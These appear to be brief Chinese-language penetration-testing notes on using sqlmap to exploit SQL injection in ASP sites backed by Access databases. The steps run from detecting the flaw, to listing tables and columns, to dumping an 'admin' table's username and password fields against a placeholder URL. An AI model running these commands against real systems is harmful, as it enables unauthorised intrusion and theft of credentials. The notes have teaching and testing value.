Access数据库注入

---------------------------------------------------------------------------------------------


                SQLMAP渗透笔记之Access数据库注入




---------------------------------------------------------------------------------------------
1.判断注入的是否存在注入漏洞
sqlmap -u "http://www.xxx.com/xx.asp?id=xxx"
root@huc:~# sqlmap -u(-u：指定一个URL) "http://www.xxx.com/xx.asp?id=xxx"




2.获取表名
sqlmap -u “http：//www.xxx.com/xx.asp?id=xxx” --tables
root@huc:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --tables




3.获取字段名
sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --columns -T 表名
root@huc:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --columns -T admin




4.获取字段中的内容
sqlmap -u “http://www.xxx.com/xx.asp?id=xxx” --dump -T 表名 -C "字段名1,字段名2..."
root@huc:~# sqlmap -u "http://www.xxx.com/xx.asp?id=xxx" --dump -T admin -C "username,password"